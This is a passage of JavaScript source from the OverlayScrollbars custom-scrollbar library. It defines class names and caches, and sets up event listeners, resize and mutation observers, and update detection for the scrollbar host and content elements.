var _classNameHostElementForeign = _classNameHostElement + '-foreign';
var _classNameHostTextareaElement = _classNameHostElement + '-textarea';
var _classNameHostScrollbarHorizontalHidden = _classNameHostElement + '-' + _strScrollbar + _strMinusHorizontal + _strMinusHidden;
var _classNameHostScrollbarVerticalHidden = _classNameHostElement + '-' + _strScrollbar + _strMinusVertical + _strMinusHidden;
var _classNameHostTransition = _classNameHostElement + '-transition';
var _classNameHostRTL = _classNameHostElement + '-rtl';
var _classNameHostResizeDisabled = _classNameHostElement + '-resize-disabled';
var _classNameHostScrolling = _classNameHostElement + '-scrolling';
var _classNameHostOverflow = _classNameHostElement + '-overflow';
var _classNameHostOverflow = _classNameHostElement + '-overflow';
var _classNameHostOverflowX = _classNameHostOverflow + '-x';
var _classNameHostOverflowY = _classNameHostOverflow + '-y';
var _classNameTextareaElement = _cassNamesPrefix + 'textarea';
var _classNameTextareaCoverElement = _classNameTextareaElement + '-cover';
var _classNamePaddingElement = _cassNamesPrefix + 'padding';
var _classNameViewportElement = _cassNamesPrefix + 'viewport';
var _classNameViewportNativeScrollbarsInvisible = _classNameViewportElement + '-native-scrollbars-invisible';
var _classNameViewportNativeScrollbarsOverlaid = _classNameViewportElement + '-native-scrollbars-overlaid';
var _classNameContentElement = _cassNamesPrefix + 'content';
var _classNameContentArrangeElement = _cassNamesPrefix + 'content-arrange';
var _classNameContentGlueElement = _cassNamesPrefix + 'content-glue';
var _classNameSizeAutoObserverElement = _cassNamesPrefix + 'size-auto-observer';
var _classNameResizeObserverElement = _cassNamesPrefix + 'resize-observer';
var _classNameResizeObserverItemElement = _cassNamesPrefix + 'resize-observer-item';
var _classNameResizeObserverItemFinalElement = _classNameResizeObserverItemElement + '-final';
var _classNameTextInherit = _cassNamesPrefix + 'text-inherit';
var _classNameScrollbar = _cassNamesPrefix + _strScrollbar;
var _classNameScrollbarTrack = _classNameScrollbar + '-track';
var _classNameScrollbarTrackOff = _classNameScrollbarTrack + '-off';
var _classNameScrollbarHandle = _classNameScrollbar + '-handle';
var _classNameScrollbarHandleOff = _classNameScrollbarHandle + '-off';
var _classNameScrollbarUnusable = _classNameScrollbar + '-unusable';
var _classNameScrollbarAutoHidden = _classNameScrollbar + '-' + _strAuto + _strMinusHidden;
var _classNameScrollbarCorner = _classNameScrollbar + '-corner';
var _classNameScrollbarCornerResize = _classNameScrollbarCorner + '-resize';
var _classNameScrollbarCornerResizeB = _classNameScrollbarCornerResize + '-both';
var _classNameScrollbarCornerResizeH = _classNameScrollbarCornerResize + _strMinusHorizontal;
var _classNameScrollbarCornerResizeV = _classNameScrollbarCornerResize + _strMinusVertical;
var _classNameScrollbarHorizontal = _classNameScrollbar + _strMinusHorizontal;
var _classNameScrollbarVertical = _classNameScrollbar + _strMinusVertical;
var _classNameDragging = _cassNamesPrefix + 'dragging';
var _classNameThemeNone = _cassNamesPrefix + 'theme-none';
var _classNamesDynamicDestroy = [
_classNameViewportNativeScrollbarsInvisible,
_classNameViewportNativeScrollbarsOverlaid,
_classNameScrollbarTrackOff,
_classNameScrollbarHandleOff,
_classNameScrollbarUnusable,
_classNameScrollbarAutoHidden,
_classNameScrollbarCornerResize,
_classNameScrollbarCornerResizeB,
_classNameScrollbarCornerResizeH,
_classNameScrollbarCornerResizeV,
_classNameDragging].join(_strSpace);
//callbacks:
var _callbacksInitQeueue = [];
//attrs viewport shall inherit from target
var _viewportAttrsFromTarget = [LEXICON.ti];
//options:
var _defaultOptions;
var _currentOptions;
var _currentPreparedOptions;
//extensions:
var _extensions = {};
var _extensionsPrivateMethods = 'added removed on contract';
//update
var _lastUpdateTime;
var _swallowedUpdateHints = {};
var _swallowedUpdateTimeout;
var _swallowUpdateLag = 42;
var _updateOnLoadEventName = 'load';
var _updateOnLoadElms = [];
//DOM elements:
var _windowElement;
var _documentElement;
var _htmlElement;
var _bodyElement;
var _targetElement; //the target element of this OverlayScrollbars object
var _hostElement; //the host element of this OverlayScrollbars object -> may be the same as targetElement
var _sizeAutoObserverElement; //observes size auto changes
var _sizeObserverElement; //observes size and padding changes
var _paddingElement; //manages the padding
var _viewportElement; //is the viewport of our scrollbar model
var _contentElement; //the element which holds the content
var _contentArrangeElement; //is needed for correct sizing of the content element (only if native scrollbars are overlays)
var _contentGlueElement; //has always the size of the content element
var _textareaCoverElement; //only applied if target is a textarea element. Used for correct size calculation and for prevention of uncontrolled scrolling
var _scrollbarCornerElement;
var _scrollbarHorizontalElement;
var _scrollbarHorizontalTrackElement;
var _scrollbarHorizontalHandleElement;
var _scrollbarVerticalElement;
var _scrollbarVerticalTrackElement;
var _scrollbarVerticalHandleElement;
var _windowElementNative;
var _documentElementNative;
var _targetElementNative;
var _hostElementNative;
var _sizeAutoObserverElementNative;
var _sizeObserverElementNative;
var _paddingElementNative;
var _viewportElementNative;
var _contentElementNative;
//Cache:
var _hostSizeCache;
var _contentScrollSizeCache;
var _arrangeContentSizeCache;
var _hasOverflowCache;
var _hideOverflowCache;
var _widthAutoCache;
var _heightAutoCache;
var _cssBoxSizingCache;
var _cssPaddingCache;
var _cssBorderCache;
var _cssMarginCache;
var _cssDirectionCache;
var _cssDirectionDetectedCache;
var _paddingAbsoluteCache;
var _clipAlwaysCache;
var _contentGlueSizeCache;
var _overflowBehaviorCache;
var _overflowAmountCache;
var _ignoreOverlayScrollbarHidingCache;
var _autoUpdateCache;
var _sizeAutoCapableCache;
var _contentElementScrollSizeChangeDetectedCache;
var _hostElementSizeChangeDetectedCache;
var _scrollbarsVisibilityCache;
var _scrollbarsAutoHideCache;
var _scrollbarsClickScrollingCache;
var _scrollbarsDragScrollingCache;
var _resizeCache;
var _normalizeRTLCache;
var _classNameCache;
var _oldClassName;
var _textareaAutoWrappingCache;
var _textareaInfoCache;
var _textareaSizeCache;
var _textareaDynHeightCache;
var _textareaDynWidthCache;
var _bodyMinSizeCache;
var _updateAutoCache = {};
//MutationObserver:
var _mutationObserverHost;
var _mutationObserverContent;
var _mutationObserverHostCallback;
var _mutationObserverContentCallback;
var _mutationObserversConnected;
var _mutationObserverAttrsTextarea = ['wrap', 'cols', 'rows'];
var _mutationObserverAttrsHost = [LEXICON.i, LEXICON.c, LEXICON.s, 'open'].concat(_viewportAttrsFromTarget);
//events:
var _destroyEvents = [];
//textarea:
var _textareaHasFocus;
//scrollbars:
var _scrollbarsAutoHideTimeoutId;
var _scrollbarsAutoHideMoveTimeoutId;
var _scrollbarsAutoHideDelay;
var _scrollbarsAutoHideNever;
var _scrollbarsAutoHideScroll;
var _scrollbarsAutoHideMove;
var _scrollbarsAutoHideLeave;
var _scrollbarsHandleHovered;
var _scrollbarsHandlesDefineScrollPos;
//resize
var _resizeNone;
var _resizeBoth;
var _resizeHorizontal;
var _resizeVertical;
//==== Event Listener ====//
/**
* Adds or removes a event listener from the given element.
* @param element The element to which the event listener shall be applied or removed.
* @param eventNames The name(s) of the events.
* @param listener The method which shall be called.
* @param remove True if the handler shall be removed, false or undefined if the handler shall be added.
* @param passiveOrOptions The options for the event.
*/
function setupResponsiveEventListener(element, eventNames, listener, remove, passiveOrOptions) {
var collected = COMPATIBILITY.isA(eventNames) && COMPATIBILITY.isA(listener);
var method = remove ? 'removeEventListener' : 'addEventListener';
var onOff = remove ? 'off' : 'on';
var events = collected ? false : eventNames.split(_strSpace)
var i = 0;
var passiveOrOptionsIsObj = FRAMEWORK.isPlainObject(passiveOrOptions);
var passive = (_supportPassiveEvents && (passiveOrOptionsIsObj ? (passiveOrOptions._passive) : passiveOrOptions)) || false;
var capture = passiveOrOptionsIsObj && (passiveOrOptions._capture || false);
var nativeParam = _supportPassiveEvents ? {
passive: passive,
capture: capture,
} : capture;
if (collected) {
for (; i < eventNames[LEXICON.l]; i++)
setupResponsiveEventListener(element, eventNames[i], listener[i], remove, passiveOrOptions);
}
else {
for (; i < events[LEXICON.l]; i++) {
if(_supportPassiveEvents) {
element[0][method](events[i], listener, nativeParam);
}
else {
element[onOff](events[i], listener);
}
}
}
}
function addDestroyEventListener(element, eventNames, listener, passive) {
setupResponsiveEventListener(element, eventNames, listener, false, passive);
_destroyEvents.push(COMPATIBILITY.bind(setupResponsiveEventListener, 0, element, eventNames, listener, true, passive));
}
//==== Resize Observer ====//
/**
* Adds or removes a resize observer from the given element.
* @param targetElement The element to which the resize observer shall be added or removed.
* @param onElementResizedCallback The callback which is fired every time the resize observer registers a size change or false / undefined if the resizeObserver shall be removed.
*/
function setupResizeObserver(targetElement, onElementResizedCallback) {
if (targetElement) {
var resizeObserver = COMPATIBILITY.rO();
var strAnimationStartEvent = 'animationstart mozAnimationStart webkitAnimationStart MSAnimationStart';
var strChildNodes = 'childNodes';
var constScroll = 3333333;
var callback = function () {
targetElement[_strScrollTop](constScroll)[_strScrollLeft](_isRTL ? _rtlScrollBehavior.n ? -constScroll : _rtlScrollBehavior.i ? 0 : constScroll : constScroll);
onElementResizedCallback();
};
//add resize observer:
if (onElementResizedCallback) {
if (_supportResizeObserver) {
var element = targetElement.addClass('observed').append(generateDiv(_classNameResizeObserverElement)).contents()[0];
var observer = element[_strResizeObserverProperty] = new resizeObserver(callback);
observer.observe(element);
}
else {
if (_msieVersion > 9 || !_autoUpdateRecommended) {
targetElement.prepend(
generateDiv(_classNameResizeObserverElement,
generateDiv({ c: _classNameResizeObserverItemElement, dir: 'ltr' },
generateDiv(_classNameResizeObserverItemElement,
generateDiv(_classNameResizeObserverItemFinalElement)
) +
generateDiv(_classNameResizeObserverItemElement,
generateDiv({ c: _classNameResizeObserverItemFinalElement, style: 'width: 200%; height: 200%' })
)
)
)
);
var observerElement = targetElement[0][strChildNodes][0][strChildNodes][0];
var shrinkElement = FRAMEWORK(observerElement[strChildNodes][1]);
var expandElement = FRAMEWORK(observerElement[strChildNodes][0]);
var expandElementChild = FRAMEWORK(expandElement[0][strChildNodes][0]);
var widthCache = observerElement[LEXICON.oW];
var heightCache = observerElement[LEXICON.oH];
var isDirty;
var rAFId;
var currWidth;
var currHeight;
var factor = 2;
var nativeScrollbarSize = globals.nativeScrollbarSize; //care don't make changes to this object!!!
var reset = function () {
/*
var sizeResetWidth = observerElement[LEXICON.oW] + nativeScrollbarSize.x * factor + nativeScrollbarSize.y * factor + _overlayScrollbarDummySize.x + _overlayScrollbarDummySize.y;
var sizeResetHeight = observerElement[LEXICON.oH] + nativeScrollbarSize.x * factor + nativeScrollbarSize.y * factor + _overlayScrollbarDummySize.x + _overlayScrollbarDummySize.y;
var expandChildCSS = {};
expandChildCSS[_strWidth] = sizeResetWidth;
expandChildCSS[_strHeight] = sizeResetHeight;
expandElementChild.css(expandChildCSS);
expandElement[_strScrollLeft](sizeResetWidth)[_strScrollTop](sizeResetHeight);
shrinkElement[_strScrollLeft](sizeResetWidth)[_strScrollTop](sizeResetHeight);
*/
expandElement[_strScrollLeft](constScroll)[_strScrollTop](constScroll);
shrinkElement[_strScrollLeft](constScroll)[_strScrollTop](constScroll);
};
var onResized = function () {
rAFId = 0;
if (!isDirty)
return;
widthCache = currWidth;
heightCache = currHeight;
callback();
};
var onScroll = function (event) {
currWidth = observerElement[LEXICON.oW];
currHeight = observerElement[LEXICON.oH];
isDirty = currWidth != widthCache || currHeight != heightCache;
if (event && isDirty && !rAFId) {
COMPATIBILITY.cAF()(rAFId);
rAFId = COMPATIBILITY.rAF()(onResized);
}
else if (!event)
onResized();
reset();
if (event) {
COMPATIBILITY.prvD(event);
COMPATIBILITY.stpP(event);
}
return false;
};
var expandChildCSS = {};
var observerElementCSS = {};
setTopRightBottomLeft(observerElementCSS, _strEmpty, [
-((nativeScrollbarSize.y + 1) * factor),
nativeScrollbarSize.x * -factor,
nativeScrollbarSize.y * -factor,
-((nativeScrollbarSize.x + 1) * factor)
]);
FRAMEWORK(observerElement).css(observerElementCSS);
expandElement.on(_strScroll, onScroll);
shrinkElement.on(_strScroll, onScroll);
targetElement.on(strAnimationStartEvent, function () {
onScroll(false);
});
//lets assume that the divs will never be that large and a constant value is enough
expandChildCSS[_strWidth] = constScroll;
expandChildCSS[_strHeight] = constScroll;
expandElementChild.css(expandChildCSS);
reset();
}
else {
var attachEvent = _documentElementNative.attachEvent;
var isIE = _msieVersion !== undefined;
if (attachEvent) {
targetElement.prepend(generateDiv(_classNameResizeObserverElement));
findFirst(targetElement, _strDot + _classNameResizeObserverElement)[0].attachEvent('onresize', callback);
}
else {
var obj = _documentElementNative.createElement(TYPES.o);
obj.setAttribute(LEXICON.ti, '-1');
obj.setAttribute(LEXICON.c, _classNameResizeObserverElement);
obj.onload = function () {
var wnd = this.contentDocument.defaultView;
wnd.addEventListener('resize', callback);
wnd.document.documentElement.style.display = 'none';
};
obj.type = 'text/html';
if (isIE)
targetElement.prepend(obj);
obj.data = 'about:blank';
if (!isIE)
targetElement.prepend(obj);
targetElement.on(strAnimationStartEvent, callback);
}
}
}
if (targetElement[0] === _sizeObserverElementNative) {
var directionChanged = function () {
var dir = _hostElement.css('direction');
var css = {};
var scrollLeftValue = 0;
var result = false;
if (dir !== _cssDirectionDetectedCache) {
if (dir === 'ltr') {
css[_strLeft] = 0;
css[_strRight] = _strAuto;
scrollLeftValue = constScroll;
}
else {
css[_strLeft] = _strAuto;
css[_strRight] = 0;
scrollLeftValue = _rtlScrollBehavior.n ? -constScroll : _rtlScrollBehavior.i ? 0 : constScroll;
}
//execution order is important for IE!!!
_sizeObserverElement.children().eq(0).css(css);
_sizeObserverElement[_strScrollLeft](scrollLeftValue)[_strScrollTop](constScroll);
_cssDirectionDetectedCache = dir;
result = true;
}
return result;
};
directionChanged();
addDestroyEventListener(targetElement, _strScroll, function (event) {
if (directionChanged())
update();
COMPATIBILITY.prvD(event);
COMPATIBILITY.stpP(event);
return false;
});
}
}
//remove resize observer:
else {
if (_supportResizeObserver) {
var element = targetElement.contents()[0];
var resizeObserverObj = element[_strResizeObserverProperty];
if (resizeObserverObj) {
resizeObserverObj.disconnect();
delete element[_strResizeObserverProperty];
}
}
else {
remove(targetElement.children(_strDot + _classNameResizeObserverElement).eq(0));
}
}
}
}
/**
* Freezes or unfreezes the given resize observer.
* @param targetElement The element to which the target resize observer is applied.
* @param freeze True if the resize observer shall be frozen, false otherwise.
function freezeResizeObserver(targetElement, freeze) {
if (targetElement !== undefined) {
if(freeze) {
if (_supportResizeObserver) {
var element = targetElement.contents()[0];
element[_strResizeObserverProperty].unobserve(element);
}
else {
targetElement = targetElement.children(_strDot + _classNameResizeObserverElement).eq(0);
var w = targetElement.css(_strWidth);
var h = targetElement.css(_strHeight);
var css = {};
css[_strWidth] = w;
css[_strHeight] = h;
targetElement.css(css);
}
}
else {
if (_supportResizeObserver) {
var element = targetElement.contents()[0];
element[_strResizeObserverProperty].observe(element);
}
else {
var css = { };
css[_strHeight] = _strEmpty;
css[_strWidth] = _strEmpty;
targetElement.children(_strDot + _classNameResizeObserverElement).eq(0).css(css);
}
}
}
}
*/
//==== Mutation Observers ====//
/**
* Creates MutationObservers for the host and content Element if they are supported.
*/
function createMutationObservers() {
if (_supportMutationObserver) {
var mutationObserverContentLag = 11;
var mutationObserver = COMPATIBILITY.mO();
var contentLastUpdate = COMPATIBILITY.now();
var mutationTarget;
var mutationAttrName;
var mutationIsClass;
var oldMutationVal;
var newClassVal;
var hostClassNameRegex;
var contentTimeout;
var now;
var sizeAuto;
var action;
_mutationObserverHostCallback = function (mutations) {
var doUpdate = false;
var doUpdateForce = false;
var mutation;
var mutatedAttrs = [];
if (_initialized && !_sleeping) {
each(mutations, function () {
mutation = this;
mutationTarget = mutation.target;
mutationAttrName = mutation.attributeName;
mutationIsClass = mutationAttrName === LEXICON.c;
oldMutationVal = mutation.oldValue;
newClassVal = mutationTarget.className;
if (_domExists && mutationIsClass && !doUpdateForce) {
// if old class value contains _classNameHostElementForeign and new class value doesn't
if (oldMutationVal.indexOf(_classNameHostElementForeign) > -1 && newClassVal.indexOf(_classNameHostElementForeign) < 0) {
hostClassNameRegex = createHostClassNameRegExp(true);
_hostElementNative.className = newClassVal.split(_strSpace).concat(oldMutationVal.split(_strSpace).filter(function (name) {
return name.match(hostClassNameRegex);
})).join(_strSpace);
doUpdate = doUpdateForce = true;
}
}
if (!doUpdate) {
doUpdate = mutationIsClass
? hostClassNamesChanged(oldMutationVal, newClassVal)
: mutationAttrName === LEXICON.s
? oldMutationVal !== mutationTarget[LEXICON.s].cssText
: true;
}
mutatedAttrs.push(mutationAttrName);
});
updateViewportAttrsFromTarget(mutatedAttrs);
if (doUpdate)
_base.update(doUpdateForce || _strAuto);
}
return doUpdate;
};
_mutationObserverContentCallback = function (mutations) {
var doUpdate = false;
var mutation;
if (_initialized && !_sleeping) {
each(mutations, function () {
mutation = this;
doUpdate = isUnknownMutation(mutation);
return !doUpdate;
});
if (doUpdate) {
now = COMPATIBILITY.now();
sizeAuto = (_heightAutoCache || _widthAutoCache);
action = function () {
if (!_destroyed) {
contentLastUpdate = now;
//if cols, rows or wrap attr was changed
if (_isTextarea)
textareaUpdate();
if (sizeAuto)
update();
else
_base.update(_strAuto);
}
};
clearTimeout(contentTimeout);
if (mutationObserverContentLag <= 0 || now - contentLastUpdate > mutationObserverContentLag || !sizeAuto)
action();
else
contentTimeout = setTimeout(action, mutationObserverContentLag);
}
}
return doUpdate;
}
_mutationObserverHost = new mutationObserver(_mutationObserverHostCallback);
_mutationObserverContent = new mutationObserver(_mutationObserverContentCallback);
}
}
/**
* Connects the MutationObservers if they are supported.
*/
function connectMutationObservers() {
if (_supportMutationObserver && !_mutationObserversConnected) {
_mutationObserverHost.observe(_hostElementNative, {
attributes: true,
attributeOldValue: true,
attributeFilter: _mutationObserverAttrsHost
});
_mutationObserverContent.observe(_isTextarea ? _targetElementNative : _contentElementNative, {
attributes: true,
attributeOldValue: true,
subtree: !_isTextarea,
childList: !_isTextarea,
characterData: !_isTextarea,
attributeFilter: _isTextarea ? _mutationObserverAttrsTextarea : _mutationObserverAttrsHost
});
_mutationObserversConnected = true;
}
}
/**
* Disconnects the MutationObservers if they are supported.
*/
function disconnectMutationObservers() {
if (_supportMutationObserver && _mutationObserversConnected) {
_mutationObserverHost.disconnect();
_mutationObserverContent.disconnect();
_mutationObserversConnected = false;
}
}
//==== Events of elements ====//
/**
* This method gets called every time the host element gets resized. IMPORTANT: Padding changes are detected too!!
* It refreshes the hostResizedEventArgs and the hostSizeResizeCache.
* If there are any size changes, the update method gets called.
*/
function hostOnResized() {
if (!_sleeping) {
var changed;
var hostSize = {
w: _sizeObserverElementNative[LEXICON.sW],
h: _sizeObserverElementNative[LEXICON.sH]
};
changed = checkCache(hostSize, _hostElementSizeChangeDetectedCache);
_hostElementSizeChangeDetectedCache = hostSize;
if (changed)
update({ _hostSizeChanged: true });
}
}
/**
* The mouse enter event of the host element. This event is only needed for the autoHide feature.
*/
function hostOnMouseEnter() {
if (_scrollbarsAutoHideLeave)
refreshScrollbarsAutoHide(true);
}
/**
* The mouse leave event of the host element. This event is only needed for the autoHide feature.
*/
function hostOnMouseLeave() {
if (_scrollbarsAutoHideLeave && !_bodyElement.hasClass(_classNameDragging))
refreshScrollbarsAutoHide(false);
}
/**
* The mouse move event of the host element. This event is only needed for the autoHide "move" feature.
*/
function hostOnMouseMove() {
if (_scrollbarsAutoHideMove) {
refreshScrollbarsAutoHide(true);
clearTimeout(_scrollbarsAutoHideMoveTimeoutId);
_scrollbarsAutoHideMoveTimeoutId = setTimeout(function () {
if (_scrollbarsAutoHideMove && !_destroyed)
refreshScrollbarsAutoHide(false);
}, 100);
}
}
/**
* Prevents text from deselection if attached to the document element on the mousedown event of a DOM element.
* @param event The select start event.
*/
function documentOnSelectStart(event) {
COMPATIBILITY.prvD(event);
return false;
}
/**
* A callback which will be called after a element has loaded.
*/
function updateOnLoadCallback(event) {
var elm = FRAMEWORK(event.target);
eachUpdateOnLoad(function (i, updateOnLoadSelector) {
if (elm.is(updateOnLoadSelector)) {
update({ _contentSizeChanged: true });
}
});
}
/**
* Adds or removes mouse & touch events of the host element. (for handling auto-hiding of the scrollbars)
* @param destroy Indicates whether the events shall be added or removed.
*/
function setupHostMouseTouchEvents(destroy) {
if (!destroy)
setupHostMouseTouchEvents(true);
setupResponsiveEventListener(_hostElement,
_strMouseTouchMoveEvent.split(_strSpace)[0],
hostOnMouseMove,
(!_scrollbarsAutoHideMove || destroy), true);
setupResponsiveEventListener(_hostElement,
[_strMouseEnter, _strMouseLeave],
[hostOnMouseEnter, hostOnMouseLeave],
(!_scrollbarsAutoHideLeave || destroy), true);
//if the plugin is initialized and the mouse is over the host element, make the scrollbars visible
if (!_initialized && !destroy)
_hostElement.one('mouseover', hostOnMouseEnter);
}
//==== Update Detection ====//
/**
* Measures the min width and min height of the body element and refreshes the related cache.
* @returns {boolean} True if the min width or min height has changed, false otherwise.
*/
function bodyMinSizeChanged() {
var bodyMinSize = {};
if (_isBody && _contentArrangeElement) {
bodyMinSize.w = parseToZeroOrNumber(_contentArrangeElement.css(_strMinMinus + _strWidth));
bodyMinSize.h = parseToZeroOrNumber(_contentArrangeElement.css(_strMinMinus + _strHeight));
bodyMinSize.c = checkCache(bodyMinSize, _bodyMinSizeCache);
bodyMinSize.f = true; //flag for "measured at least once"
}
_bodyMinSizeCache = bodyMinSize;
return !!bodyMinSize.c;
}
/**
* Returns true if the class names really changed (new class without plugin host prefix)
* @param oldClassNames The old ClassName string or array.
* @param newClassNames The new ClassName string or array.
* @returns {boolean} True if the class names has really changed, false otherwise.
*/
function hostClassNamesChanged(oldClassNames, newClassNames) {
var currClasses = typeof newClassNames == TYPES.s ? newClassNames.split(_strSpace) : [];
var oldClasses = typeof oldClassNames == TYPES.s ? oldClassNames.split(_strSpace) : [];
var diff = getArrayDifferences(oldClasses, currClasses);
// remove none theme from diff list to prevent update
var idx = inArray(_classNameThemeNone, diff);
var i;
var regex;
if (idx > -1)
diff.splice(idx, 1);
if (diff[LEXICON.l] > 0) {
regex = createHostClassNameRegExp(true, true);
for (i = 0; i < diff.length; i++) {
if (!diff[i].match(regex)) {
return true;
}
}
}
return false;
}
/**
* Returns true if the given mutation is not from a from the plugin generated element. If the target element is a textarea the mutation is always unknown.
* @param mutation The mutation which shall be checked.
* @returns {boolean} True if the mutation is from a unknown element, false otherwise.
*/
function isUnknownMutation(mutation) {
var attributeName = mutation.attributeName;
var mutationTarget = mutation.target;
var mutationType = mutation.type;
var strClosest = 'closest';
if (mutationTarget === _contentElementNative)
return attributeName === null;
if (mutationType === 'attributes' && (attributeName === LEXICON.c || attributeName === LEXICON.s) && !_isTextarea) {
//ignore className changes by the plugin
if (attributeName === LEXICON.c && FRAMEWORK(mutationTarget).hasClass(_classNameHostElement))
return hostClassNamesChanged(mutation.oldValue, mutationTarget.className);
//only do it of browser support it natively
if (typeof mutationTarget[strClosest] != TYPES.f)
return true;
if (mutationTarget[strClosest](_strDot + _classNameResizeObserverElement) !== null ||
mutationTarget[strClosest](_strDot + _classNameScrollbar) !== null ||
mutationTarget[strClosest](_strDot + _classNameScrollbarCorner) !== null)
return false;
}
return true;
}
/**
* Returns true if the content size was changed since the last time this method was called.
* @returns {boolean} True if the content size was changed, false otherwise.
*/
function updateAutoContentSizeChanged() {
if (_sleeping)
return false;
var contentMeasureElement = getContentMeasureElement();
var textareaValueLength = _isTextarea && _widthAutoCache && !_textareaAutoWrappingCache ? _targetElement.val().length : 0;
var setCSS = !_mutationObserversConnected && _widthAutoCache && !_isTextarea;
var css = {};
var float;
var bodyMinSizeC;
var changed;
var contentElementScrollSize;
if (setCSS) {
float = _contentElement.css(_strFloat);
css[_strFloat] = _isRTL ? _strRight : _strLeft;
css[_strWidth] = _strAuto;
_contentElement.css(css);
}
contentElementScrollSize = {
w: contentMeasureElement[LEXICON.sW] + textareaValueLength,
h: contentMeasureElement[LEXICON.sH] + textareaValueLength
};
if (setCSS) {
css[_strFloat] = float;
css[_strWidth] = _strHundredPercent;
_contentElement.css(css);
}
bodyMinSizeC = bodyMinSizeChanged();
changed = checkCache(contentElementScrollSize, _contentElementScrollSizeChangeDetectedCache);
_contentElementScrollSizeChangeDetectedCache = contentElementScrollSize;
return changed || bodyMinSizeC;
}
/**
* Returns true when a attribute which the MutationObserver would observe has changed.
* @returns {boolean} True if one of the attributes which a MutationObserver would observe has changed, false or undefined otherwise.
*/
function meaningfulAttrsChanged() {
if (_sleeping || _mutationObserversConnected)
return;
var elem;
var curr;
var cache;
var changedAttrs = [];
var checks = [
{
_elem: _hostElement,
_attrs: _mutationObserverAttrsHost.concat(':visible')
},
{
_elem: _isTextarea ? _targetElement : undefined,
_attrs: _mutationObserverAttrsTextarea
}
];
each(checks, function (index, check) {
elem = check._elem;
if (elem) {
each(check._attrs, function (index, attr) {
curr = attr.charAt(0) === ':' ? elem.is(attr) : elem.attr(attr);
cache = _updateAutoCache[attr];
if (checkCache(curr, cache)) {
changedAttrs.push(attr);
}
_updateAutoCache[attr] = curr;
});
}
});
updateViewportAttrsFromTarget(changedAttrs);
return changedAttrs[LEXICON.l] > 0;
}
/**
* Checks is a CSS Property of a child element is affecting the scroll size of the content.
* @param propertyName The CSS property name.
* @returns {boolean} True if the property is affecting the content scroll size, false otherwise.
*/
function isSizeAffectingCSSProperty(propertyName) {
if (!_initialized)
return true;
var flexGrow = 'flex-grow';
var flexShrink = 'flex-shrink';
var flexBasis = 'flex-basis';
var affectingPropsX = [
_strWidth,
_strMinMinus + _strWidth,
_strMaxMinus + _strWidth,
_strMarginMinus + _strLeft,
_strMarginMinus + _strRight,
_strLeft,
_strRight,
'font-weight',
'word-spacing',
flexGrow,
flexShrink,
flexBasis
];
var affectingPropsXContentBox = [
_strPaddingMinus + _strLeft,
_strPaddingMinus + _strRight,
_strBorderMinus + _strLeft + _strWidth,
_strBorderMinus + _strRight + _strWidth
];
var affectingPropsY = [
_strHeight,
_strMinMinus + _strHeight,
_strMaxMinus + _strHeight,
_strMarginMinus + _strTop,
_strMarginMinus + _strBottom,
_strTop,
_strBottom,
'line-height',
flexGrow,
flexShrink,
flexBasis
];
var affectingPropsYContentBox = [
_strPaddingMinus + _strTop,
_strPaddingMinus + _strBottom,
_strBorderMinus + _strTop + _strWidth,
_strBorderMinus + _strBottom + _strWidth
];
var _strS = 's';
var _strVS = 'v-s';
var checkX = _overflowBehaviorCache.x === _strS || _overflowBehaviorCache.x === _strVS;
var checkY = _overflowBehaviorCache.y === _strS || _overflowBehaviorCache.y === _strVS;
var sizeIsAffected = false;
var checkPropertyName = function (arr, name) {
for (var i = 0; i < arr[LEXICON.l]; i++) {
if (arr[i] === name)
return true;
}
return false;
};
if (checkY) {
sizeIsAffected = checkPropertyName(affectingPropsY, propertyName);
if (!sizeIsAffected && !_isBorderBox)
sizeIsAffected = checkPropertyName(affectingPropsYContentBox, propertyName);
}
if (checkX && !sizeIsAffected) {
sizeIsAffected = checkPropertyName(affectingPropsX, propertyName);
if (!sizeIsAffected && !_isBorderBox)
sizeIsAffected = checkPropertyName(affectingPropsXContentBox, propertyName);
}
return sizeIsAffected;
}
//==== Update ====//
/**
* Sets the attribute values of the viewport element to the values from the target element.
* The value of a attribute is only set if the attribute is whitelisted.
* @attrs attrs The array of attributes which shall be set or undefined if all whitelisted shall be set.
*/
function updateViewportAttrsFromTarget(attrs) {
attrs = attrs || _viewportAttrsFromTarget;
each(attrs, function (index, attr) {
if (COMPATIBILITY.inA(attr, _viewportAttrsFromTarget) > -1) {
var targetAttr = _targetElement.attr(attr);
if (type(targetAttr) == TYPES.s) {
_viewportElement.attr(attr, targetAttr);
}
else {
_viewportElement.removeAttr(attr);
}
}
});
}
/**
* Updates the variables and size of the textarea element, and manages the scroll on new line or new character.
*/
function textareaUpdate() {
if (!_sleeping) {
var wrapAttrOff = !_textareaAutoWrappingCache;
var minWidth = _viewportSize.w;
var minHeight = _viewportSize.h;
var css = {};
var doMeasure = _widthAutoCache || wrapAttrOff;
var origWidth;
var width;
var origHeight;
var height;
//reset min size
css[_strMinMinus + _strWidth] = _strEmpty;
css[_strMinMinus + _strHeight] = _strEmpty;
//set width auto
css[_strWidth] = _strAuto;
_targetElement.css(css);
//measure width
origWidth = _targetElementNative[LEXICON.oW];
width = doMeasure ? MATH.max(origWidth, _targetElementNative[LEXICON.sW] - 1) : 1;
/*width += (_widthAutoCache ? _marginX + (!_isBorderBox ? wrapAttrOff ? 0 : _paddingX + _borderX : 0) : 0);*/
//set measured width
css[_strWidth] = _widthAutoCache ? _strAuto /*width*/ : _strHundredPercent;
css[_strMinMinus + _strWidth] = _strHundredPercent;
//set height auto
css[_strHeight] = _strAuto;
_targetElement.css(css);
//measure height
origHeight = _targetElementNative[LEXICON.oH];
height = MATH.max(origHeight, _targetElementNative[LEXICON.sH] - 1);
//append correct size values
css[_strWidth] = width;
css[_strHeight] = height;
_textareaCoverElement.css(css);
//apply min width / min height to prevent textarea collapsing
css[_strMinMinus + _strWidth] = minWidth /*+ (!_isBorderBox && _widthAutoCache ? _paddingX + _borderX : 0)*/;
css[_strMinMinus + _strHeight] = minHeight /*+ (!_isBorderBox && _heightAutoCache ? _paddingY + _borderY : 0)*/;
_targetElement.css(css);
return {
_originalWidth: origWidth,
_originalHeight: origHeight,
_dynamicWidth: width,
_dynamicHeight: height
};
}
}
/**
* Updates the plugin and DOM to the current options.
* This method should only be called if a update is 100% required.
* @param updateHints A objects which contains hints for this update:
* {
* _hostSizeChanged : boolean,
* _contentSizeChanged : boolean,
* _force : boolean, == preventSwallowing
* _changedOptions : { }, == preventSwallowing && preventSleep
* }
*/
function update(updateHints) {
clearTimeout(_swallowedUpdateTimeout);
updateHints = updateHints || {};
_swallowedUpdateHints._hostSizeChanged |= updateHints._hostSizeChanged;
_swallowedUpdateHints._contentSizeChanged |= updateHints._contentSizeChanged;
